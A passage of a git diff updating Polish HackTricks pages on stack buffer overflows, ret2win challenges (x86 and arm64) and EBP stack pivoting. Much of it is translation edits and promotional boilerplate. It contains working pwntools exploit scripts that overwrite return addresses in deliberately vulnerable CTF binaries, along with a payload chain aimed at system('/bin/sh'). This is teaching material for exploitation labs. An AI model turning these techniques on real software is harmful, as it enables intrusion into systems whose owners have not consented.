Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. ## Co to jest przepełnienie stosu -**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane **nadpisują sąsiednie miejsce w pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu kontroli i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych. +**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane **nadpisują sąsiednie miejsce w pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych. Głównym problemem tego nadpisania jest to, że **zachowany wskaźnik instrukcji (EIP/RIP)** i **zachowany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie mógł nadpisać te wartości i **kontrolować przepływ wykonania programu**. -Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję więcej bajtów na stosie niż jest na niego zaalokowane**, co pozwala na nadpisanie innych części stosu. +Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję na stos więcej bajtów niż jest na niego zaalokowane**, co pozwala na nadpisanie innych części stosu. -Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w podatny sposób, jeśli określona długość jest większa niż zaalokowana. +Niektóre powszechne funkcje podatne na to są: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w podatny sposób, jeśli określona długość jest większa niż zaalokowana. Na przykład, następujące funkcje mogą być podatne: ```c @@ -41,7 +41,7 @@ Ponadto, gdy już zidentyfikujesz podatność na przepełnienie stosu, będziesz W ten sposób, zamiast ręcznie określać potrzebne przesunięcie do kontrolowania EIP, można użyć jednej z tych sekwencji jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które nadpisały ten adres. -Można to zrobić przy użyciu **pwntools**: +Można to zrobić za pomocą **pwntools**: ```python from pwn import * @@ -63,29 +63,29 @@ pattern search $rsp #Search the offset given the content of $rsp ## Wykorzystywanie przepełnień stosu Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz mógł **nadpisać** wartości zmiennych lokalnych na stosie aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\ -Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce, które użytkownik określił** w tym wskaźniku. +Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce wskazane przez użytkownika** w tym wskaźniku. -Jednakże, w innych scenariuszach może być wystarczające **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF). +Jednakże, w innych scenariuszach może być wystarczające jedynie **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF). ### Ret2win W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, która **nigdy nie jest wywoływana** i **musisz ją wywołać, aby wygrać**. W tych wyzwaniach wystarczy znaleźć **przesunięcie do nadpisania adresu powrotu** i **znaleźć adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) byłoby wyłączone), więc gdy podatna funkcja zakończy działanie, ukryta funkcja zostanie wywołana: -{% content-ref url="ret2win.md" %} -[ret2win.md](ret2win.md) +{% content-ref url="ret2win/" %} +[ret2win](ret2win/) {% endcontent-ref %} ### Shellcode na stosie W tym scenariuszu atakujący może umieścić shellcode na stosie i wykorzystać kontrolowany EIP/RIP, aby przeskoczyć do shellcode i wykonać dowolny kod: -{% content-ref url="stack-shellcode.md" %} -[stack-shellcode.md](stack-shellcode.md) +{% content-ref url="stack-shellcode/" %} +[stack-shellcode](stack-shellcode/) {% endcontent-ref %} ### ROP i techniki Ret2... -Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprzedniej techniki: **Brak wykonalnego stosu (NX)**. Pozwala ona na wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binariach: +Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprzedniej techniki: **Brak wykonalnego stosu (NX)**. I pozwala na wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binariach: {% content-ref url="../rop-return-oriented-programing/" %} [rop-return-oriented-programing](../rop-return-oriented-programing/) @@ -93,7 +93,7 @@ Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprze ## Rodzaje zabezpieczeń -Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w: +Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je: {% content-ref url="../common-binary-protections-and-bypasses/" %} [common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/) diff --git a/binary-exploitation/stack-overflow/ret2win/README.md b/binary-exploitation/stack-overflow/ret2win/README.md new file mode 100644 index 000000000..874662467 --- /dev/null +++ b/binary-exploitation/stack-overflow/ret2win/README.md @@ -0,0 +1,127 @@ +# Ret2win + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## Podstawowe informacje + +**Wyzwania Ret2win** są popularną kategorią w konkursach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie podatności w danym pliku binarnym do wykonania określonej, niezawołanej funkcji wewnątrz binarnego pliku, często nazwanej np. `win`, `flag`, itp. Ta funkcja, gdy jest wywoływana, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby zmienić przepływ wykonania na pożądaną funkcję. Oto bardziej szczegółowe wyjaśnienie wraz z przykładami: + +### Przykład w języku C + +Rozważ prosty program w języku C z podatnością i funkcją `win`, którą zamierzamy wywołać: +```c +#include +#include + +void win() { +printf("Congratulations! You've called the win function.\n"); +} + +void vulnerable_function() { +char buf[64]; +gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. +} + +int main() { +vulnerable_function(); +return 0; +} +``` +Aby skompilować ten program bez zabezpieczeń stosu i z wyłączonym **ASLR**, można użyć poniższej komendy: +```sh +gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c +``` +* `-m32`: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale częste w wyzwaniach CTF). +* `-fno-stack-protector`: Wyłącz zabezpieczenia przed przepełnieniem stosu. +* `-z execstack`: Pozwól na wykonanie kodu ze stosu. +* `-no-pie`: Wyłącz wykonywalne pliki o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się. +* `-o vulnerable`: Nazwij plik wyjściowy `vulnerable`. + +### Wykorzystanie exploitu w Pythonie za pomocą Pwntools + +Do eksploatacji użyjemy **pwntools**, potężnego frameworka CTF do pisania exploitów. Skrypt exploitu stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`. +```python +from pwn import * + +# Set up the process and context for the binary +binary_path = './vulnerable' +p = process(binary_path) +context.binary = binary_path + +# Find the address of the win function +win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary + +# Create the payload +# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address. +payload = b'A' * 68 + win_addr + +# Send the payload +p.sendline(payload) +p.interactive() +``` +Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia umożliwiającego inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć: +```sh +objdump -d vulnerable | grep win +``` +To polecenie pokaże ci zestawienie funkcji `win`, wraz z jej adresem początkowym. + +Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która po przetworzeniu przez funkcję `vulnerable_function` powoduje przepełnienie bufora i nadpisanie adresu powrotu na stosie adresem `win`. Gdy funkcja `vulnerable_function` zakończy działanie, zamiast wracać do `main` lub zakończyć, skacze do funkcji `win`, a wiadomość zostaje wyświetlona. + +## Zabezpieczenia + +* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone** aby adres był niezawodny w kolejnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam i będzie potrzebny jakiś wyciek, aby ustalić, gdzie jest załadowana funkcja `win`. W niektórych przypadkach, gdy funkcja powodująca przepełnienie to `read` lub podobna, można dokonać **Częściowego Nadpisania** 1 lub 2 bajtami, aby zmienić adres powrotu na funkcję `win`. Ze względu na działanie ASLR, ostatnie trzy heksadecymalne cyfry nie są losowo generowane, więc istnieje **1/16 szansa** (1 cyfra) na uzyskanie poprawnego adresu powrotu. +* [**Canary na stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinno być również wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany. + +## Inne przykłady i odnośniki + +* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) +* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html) +* 32 bity, brak ASLR +* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html) +* 64 bity z ASLR, z wyciekiem adresu binarnego +* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html) +* 64 bity, brak ASLR +* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html) +* 32 bity, brak ASLR, podwójne małe przepełnienie, najpierw przepełnienie stosu i zwiększenie rozmiaru drugiego przepełnienia +* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) +* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win) +* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html) +* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win +* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html) +* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win +* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html) +* Program sprawdza tylko ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego można dodać dowolny rozmiar, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście powoduje przepełnienie bufora wykorzystane z ret2win. +* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) +* 64 bity, relro, brak canary, nx, pie. Częściowe nadpisanie w celu wywołania funkcji win (ret2win) + +## Przykład ARM64 + +{% content-ref url="ret2win-arm64.md" %} +[ret2win-arm64.md](ret2win-arm64.md) +{% endcontent-ref %} + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md new file mode 100644 index 000000000..ff1f88142 --- /dev/null +++ b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -0,0 +1,190 @@ +# Ret2win - arm64 + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +Znajdź wprowadzenie do arm64 w: + +{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} +[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) +{% endcontent-ref %} + +## Kod +```c +#include +#include + +void win() { +printf("Congratulations!\n"); +} + +void vulnerable_function() { +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +} + +int main() { +vulnerable_function(); +return 0; +} +``` +Kompiluj bez flagi PIE i canary: +```bash +clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie +``` +## Znajdowanie przesunięcia + +### Opcja wzorca + +Ten przykład został stworzony przy użyciu [**GEF**](https://github.com/bata24/gef): + +Uruchom gdb z gef, stwórz wzorzec i użyj go: +```bash +gdb -q ./ret2win +pattern create 200 +run +``` +
+ +arm64 spróbuje powrócić do adresu w rejestrze x30 (który został skompromitowany), możemy go wykorzystać do znalezienia przesunięcia wzorca: +```bash +pattern search $x30 +``` +
+ +**Przesunięcie wynosi 72 (9x48).** + +### Opcja przesunięcia stosu + +Zacznij od uzyskania adresu stosu, w którym przechowywany jest rejestr pc: +```bash +gdb -q ./ret2win +b *vulnerable_function + 0xc +run +info frame +``` +
+ +Teraz ustaw punkt przerwania po `read()` i kontynuuj do momentu wykonania `read()` oraz ustaw wzorzec, na przykład 13371337: +``` +b *vulnerable_function+28 +c +``` +
+ +Znajdź, gdzie ten wzorzec jest przechowywany w pamięci: + +
+ +Następnie: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** + +
+ +## Brak PIE + +### Regularne + +Uzyskaj adres funkcji **`win`**: +```bash +objdump -d ret2win | grep win +ret2win: file format elf64-littleaarch64 +00000000004006c4 : +``` +Wykorzystanie: +```python +from pwn import * + +# Configuration +binary_name = './ret2win' +p = process(binary_name) + +# Prepare the payload +offset = 72 +ret2win_addr = p64(0x00000000004006c4) +payload = b'A' * offset + ret2win_addr + +# Send the payload +p.send(payload) + +# Check response +print(p.recvline()) +p.close() +``` +### Off-by-2 + +Zamiast nadpisywać cały adres powrotu, nadpiszemy **tylko ostatnie 2 bajty** wartością `0x06c4`. +```python +from pwn import * + +# Configuration +binary_name = './ret2win' +p = process(binary_name) + +# Prepare the payload +offset = 72 +ret2win_addr = p16(0x06c4) +payload = b'A' * offset + ret2win_addr + +# Send the payload +p.send(payload) + +# Check response +print(p.recvline()) +p.close() +``` +
+ +## Z PIE + +{% hint style="success" %} +Skompiluj binarny **bez argumentu `-no-pie`** +{% endhint %} + +### Off-by-2 + +Bez wycieku nie znamy dokładnego adresu funkcji wygrywającej, ale możemy poznać przesunięcie funkcji od binarnego pliku i wiedząc, że adres powrotu, który nadpisujemy, już wskazuje na bliski adres, jest możliwe wycieknięcie przesunięcia do funkcji wygrywającej (**0x7d4**) w tym przypadku i po prostu użyć tego przesunięcia: + +
+```python +from pwn import * + +# Configuration +binary_name = './ret2win' +p = process(binary_name) + +# Prepare the payload +offset = 72 +ret2win_addr = p16(0x07d4) +payload = b'A' * offset + ret2win_addr + +# Send the payload +p.send(payload) + +# Check response +print(p.recvline()) +p.close() +``` +
+ +Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie. + +
diff --git a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 21f8335f2..90d3764d8 100644 --- a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -6,7 +6,7 @@ Inne sposoby wsparcia HackTricks: -* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks: ## Podstawowe informacje -Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP)** do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji **`leave; ret`**. +Ta technika wykorzystuje możliwość manipulowania **Wskaźnikiem Bazowym (EBP)** do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji **`leave; ret`**. Jako przypomnienie, **`leave`** oznacza w zasadzie: ``` @@ -28,47 +28,47 @@ I ponieważ **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontro ### EBP2Ret -Ta technika jest szczególnie przydatna, gdy można **zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania. +Ta technika jest szczególnie przydatna, gdy można **zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonania. -Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego kodu powłoki (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja `pop` zmniejsza ESP o 4 bajty, **efektywnie wskazując na adres przechowywany przez atakującego.**\ +Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja `pop` zmniejsza ESP o 4 bajty, **efektywnie wskazując na adres przechowywany przez atakującego.**\ Zauważ, że musisz znać **2 adresy**: Ten, gdzie ma trafić ESP, gdzie będziesz musiał zapisać adres wskazywany przez ESP. #### Konstrukcja ataku -Najpierw musisz znać **adres, gdzie możesz zapisać dowolne dane / adresy**. ESP będzie wskazywał tutaj i **wykona pierwsze `ret`**. +Najpierw musisz znać **adres, gdzie możesz pisać dowolne dane / adresy**. ESP będzie wskazywał tutaj i **wykona pierwsze `ret`**. Następnie musisz znać adres używany przez `ret`, który **wykona kod dowolny**. Możesz użyć: * Prawidłowy adres [**ONE\_GADGET**](https://github.com/david942j/one\_gadget). * Adres **`system()`** poprzedzony **4 niepotrzebnymi bajtami** i adresem `"/bin/sh"` (bity x86). -* Adres gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) poprzedzony **kodem powłoki** do wykonania. -* Kilka łańcuchów [**ROP**](../rop-return-oriented-programing/). +* Adres gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) poprzedzony **shellcodem** do wykonania. +* Pewną łańcuch [**ROP**](../rop-return-oriented-programing/). -Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Można byłoby wykorzystać te 4B, aby ustawić **drugiego fałszywego EBP** i kontynuować kontrolowanie wykonania. +Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** ze względu na część **`pop`** instrukcji `leave`. Można wykorzystać te 4B, aby ustawić **drugiego fałszywego EBP** i kontynuować kontrolowanie wykonania. #### Atak Off-By-One Istnieje specyficzna wersja tej techniki znana jako "Atak Off-By-One". Jest używana, gdy można **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres do skoku z **`ret`** musi dzielić trzy pierwsze bajty z EBP, co pozwala na podobną manipulację przy bardziej ograniczonych warunkach.\ -Zazwyczaj modyfikuje się bajt 0x00, aby skoczyć jak najdalej. +Zazwyczaj modyfikowany jest bajt 0x00, aby skoczyć jak najdalej. -Jest również powszechne użycie ślizgu RET na stosie i umieszczenie prawdziwego łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do środka RET SLED, a ostateczny łańcuch ROP zostanie wykonany. +Jest również powszechne użycie ślizgu RET na stosie i umieszczenie prawdziwej łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do ślizgu RET i zostanie wykonany ostateczny łańcuch ROP. ### **Łańcuchowanie EBP** -Dlatego umieszczenie kontrolowanego adresu w wpisie `EBP` na stosie i adresu do `leave; ret` w `EIP` pozwala na **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**. +Dlatego umieszczenie kontrolowanego adresu w wpisie `EBP` na stosie i adresu `leave; ret` w `EIP` pozwala na **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**. -Teraz **`ESP`** jest kontrolowany, wskazując na pożądany adres, a następną instrukcją do wykonania jest `RET`. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to: +Teraz **`ESP`** jest kontrolowany wskazując na pożądany adres, a następną instrukcją do wykonania jest `RET`. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to: * **`&(następny fałszywy EBP)`** -> Wczytaj nowy EBP z powodu `pop ebp` z instrukcji `leave` * **`system()`** -> Wywołane przez `ret` -* **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie +* **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i rozpocznie ponownie * **`&("/bin/sh")`**-> Parametr dla `system` W ten sposób można łańcuchować kilka fałszywych EBPs, aby kontrolować przepływ programu. To jest podobne do [ret2lib](../rop-return-oriented-programing/ret2lib/), ale bardziej złożone bez oczywistej korzyści, ale może być interesujące w niektórych skrajnych przypadkach. -Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać funkcję wygrywającą. To jest ostateczny ładunek ze strony: +Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu** do wywołania funkcji wygrywającej. To jest ostateczny ładunek ze strony: ```python from pwn import * @@ -106,7 +106,7 @@ print(p.recvline()) ``` ## EBP może nie być używany -Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarny jest skompilowany z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego też jakiekolwiek wykorzystanie, które działa poprzez kontrolę EBP, zasadniczo zawiedzie, ponieważ nie ma to żadnego rzeczywistego efektu.\ +Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarny jest skompilowany z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego też jakiekolwiek wykorzystanie działające poprzez kontrolę EBP zasadniczo zawiedzie, ponieważ nie ma to żadnego rzeczywistego efektu.\ Dzieje się tak, ponieważ **prolog i epilog ulegają zmianie**, jeśli binarny jest zoptymalizowany. * **Niezoptymalizowany:** @@ -120,7 +120,7 @@ sub $0x100,%esp # increase stack size leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` -* **Zoptymalizowane:** +* **Zoptymalizowany:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size @@ -200,4 +200,24 @@ Sprawdź technikę ret2esp tutaj: * [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html) * 64 bity, eksploatacja off by one z łańcuchem rop zaczynającym się od ret sled * [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html) -* 64 bity, brak relro, canary, nx i pie. Program udostępnia wyciek stosu lub pie oraz WWW qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zostaje napisany łańcuch ROP w .bss i kończy się jego 